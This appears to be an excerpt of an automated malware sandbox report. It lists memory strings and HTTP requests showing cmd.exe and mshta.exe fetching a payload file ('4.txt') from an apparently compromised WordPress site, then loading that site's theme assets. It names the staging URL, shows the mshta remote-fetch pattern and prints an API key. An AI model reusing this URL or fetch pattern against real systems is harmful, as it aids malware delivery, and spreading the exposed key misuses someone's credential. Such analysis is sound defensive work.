Source: mshta.exe, 00000008.00000002.1156772140.0000000000210000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico
Source: mshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0http://facextrade.c
Source: mshta.exe, 00000008.00000002.1156821006.0000000000218000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3n.js?ver=1
Source: mshta.exe, 00000008.00000002.1156857472.0000000000222000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Source: mshta.exe, 00000008.00000002.1156821006.0000000000218000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css.css?ver=4.9.204.9.201.2.8.124
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css2
Source: mshta.exe, 00000008.00000002.1156772140.0000000000210000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.css9.2
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.cssa.cssv
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt
Source: mshta.exe, 00000008.00000002.1156772140.0000000000210000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt8
Source: cmd.exe, 00000002.00000002.1156416671.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtAWinSta0
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtF
Source: mshta.exe, 00000008.00000002.1156453982.0000000000190000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtWinSta0
Source: mshta.exe, 00000008.00000002.1158634842.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1082691368.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1053934471.0000000002523000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txthttp://facextrade.com.br/wp-includes/certific
Source: mshta.exe, 00000008.00000002.1156453982.0000000000190000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtmshta
Source: cmd.exe, 00000002.00000002.1156416671.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtsmshta
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417(
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204172.1
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417D
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Time.js?ver=1.05
Source: mshta.exe, 00000008.00000003.934913032.0000000002844000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.941451998.0000000002844000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1158852533.0000000002845000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1158634842.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1082691368.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.934893613.0000000002843000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.941385329.0000000002842000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1053934471.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.934861169.0000000002842000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.941418859.0000000002843000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.934840084.0000000002840000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.941319815.0000000002840000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.202.1
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20P
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20e.css7
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/xmlrpc.php5(
Source: font-awesome[1].css.8.drString found in binary or memory: http://fontawesome.io
Source: font-awesome[1].css.8.drString found in binary or memory: http://fontawesome.io.
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latin
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latink/css/magnific-popup.css?ver=0.9.3public.css
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100yFramework/style.css.9.20css
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300-release.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:4004.txt
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:7004.txt~
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:9004.txt
Source: mshta.exe, 00000008.00000003.946015527.00000000003B6000.00000004.00000020.00020000.00000000.sdmp, css[2].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);
Source: mshta.exe, 00000008.00000003.946068036.00000000003DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.946800525.00000000003DF000.00000004.00000020.00020000.00000000.sdmp, css[6].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eott.pngJ
Source: mshta.exe, 00000008.00000003.946026427.00000000003CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmp, css[5].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotQYTKRT
Source: mshta.exe, 00000008.00000003.946063020.00000000003D5000.00000004.00000020.00020000.00000000.sdmp, css[4].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);
Source: mshta.exe, 00000008.00000003.946021291.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.928721889.0000000000368000.00000004.00000020.00020000.00000000.sdmp, css[1].css.8.dr, css[3].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);
Source: jquery.mobilemenu[1].js.8.drString found in binary or memory: http://github.com/mambows/mobilemenu
Source: style[1].css.8.drString found in binary or memory: http://info.template-help.com/help/
Source: jquery.mobilemenu[1].js.8.drString found in binary or memory: http://jquery.com
Source: mshta.exe, 00000008.00000003.928714046.000000000035E000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://kyruus.com
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0#038;ver=4
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/E(
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1&
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1?ver=2.9.2
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1.NET4.0E)
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/~(
Source: animate-logo[1].css.8.dr, jquery.jplayer.min[1].js.8.drString found in binary or memory: http://opensource.org/licenses/MIT
Source: font-awesome[1].css.8.drString found in binary or memory: http://opensource.org/licenses/mit-license.html
Source: font-awesome[1].css.8.drString found in binary or memory: http://scripts.sil.org/OFL
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg.0=1.7.2
Source: mshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2ip
Source: font-awesome[1].css.8.drString found in binary or memory: http://twitter.com/byscuits
Source: font-awesome[1].css.8.drString found in binary or memory: http://twitter.com/fontawesome.
Source: responsive[1].css.8.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: bootstrap.min[1].js.8.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.txt
Source: mshta.exe, 00000008.00000003.928665402.0000000000371000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.broofa.com
Source: jplayer.playlist.min[1].js.8.drString found in binary or memory: http://www.gnu.org/copyleft/gpl.html
Source: flexslider[1].css.8.drString found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: jquery.jplayer.min[1].js.8.dr, jplayer.playlist.min[1].js.8.drString found in binary or memory: http://www.jplayer.org
Source: jquery.mousewheel.min[1].js.8.drString found in binary or memory: http://www.mathias-bank.de)
Source: camera.min[1].js.8.dr, swfobject[1].js.8.dr, jplayer.playlist.min[1].js.8.drString found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: flexslider[1].css.8.drString found in binary or memory: http://www.woothemes.com/flexslider/
Source: owl.carousel[1].js.8.drString found in binary or memory: https://app.vzaar.com/videos/:id
Source: mshta.exe, 00000008.00000002.1157364692.00000000003BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cbks0.googleapis.com/cbk?f
Source: mshta.exe, 00000008.00000002.1156882992.000000000022D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156821006.0000000000218000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/report-to/apps-themes
Source: scripts[1].js.8.drString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent
Source: mshta.exe, 00000008.00000003.928665402.0000000000371000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling
Source: mshta.exe, 00000008.00000003.928665402.0000000000371000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developers.google.com/maps/documentation/javascript/vector-map
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#servicosi(
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/feed/
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/feed/atom/&4
Source: mshta.exe, 00000008.00000003.989993491.0000000002EED000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.990025120.0000000002EEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.989971959.0000000002EEC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.989853201.0000000002EE9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-admin/admin-ajax.php
Source: mshta.exe, 00000008.00000002.1159122172.00000000029F5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-admin/admin-ajax.phpustom
Source: mshta.exe, 00000008.00000002.1159122172.00000000029F5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-json/contact-form-7/v1
Source: owl.theme.default.min[1].css.8.dr, owl.carousel.min[1].css.8.dr, owl.carousel[1].js.8.drString found in binary or memory: https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
Source: mshta.exe, 00000008.00000003.1044618612.0000000003527000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1044913214.0000000003529000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1044835906.0000000003528000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.8.drString found in binary or memory: https://github.com/joeldbirch/onHoverIntent
Source: animate-logo[1].css.8.drString found in binary or memory: https://github.com/nickpettit/glide
Source: jquery.simplr.smoothscroll.min[1].js.8.drString found in binary or memory: https://github.com/simov/simplr-smoothscroll
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false
Source: owl.carousel[1].js.8.drString found in binary or memory: https://regexper.com/#(http%3A%7Chttps%3A%7C)%5C%2F%5C%2F(player.%7Cwww.%7Capp.)%3F(vimeo%5C.com%7Cy
Source: mshta.exe, 00000008.00000002.1158634842.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.942841618.000000000252D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1082691368.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1053934471.0000000002523000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://s.w.org/images/core/emoji/11/72x72/https://s.w.org/images/core/emoji/11/svg/NatKL$:
Source: mshta.exe, 00000008.00000002.1157950344.0000000001F7F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 00000008.00000003.942835080.0000000002528000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1158634842.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1082691368.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1053934471.0000000002523000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://twemoji.maxcdn.com/2/wp-exclude-emoji
Source: owl.carousel[1].js.8.drString found in binary or memory: https://vimeo.com/:id
Source: owl.carousel[1].js.8.drString found in binary or memory: https://vimeo.com/channels/:channel/:id
Source: owl.carousel[1].js.8.drString found in binary or memory: https://vimeo.com/groups/:group/videos/:id
Source: owl.carousel[1].js.8.drString found in binary or memory: https://www.youtube.com/watch?v=:id
Source: owl.carousel[1].js.8.drString found in binary or memory: https://youtu.be/:id
Source: C:\Windows\System32\mshta.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\font-awesome[1].cssJump to behavior
Source: unknownDNS traffic detected: queries for: facextrade.com.br
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
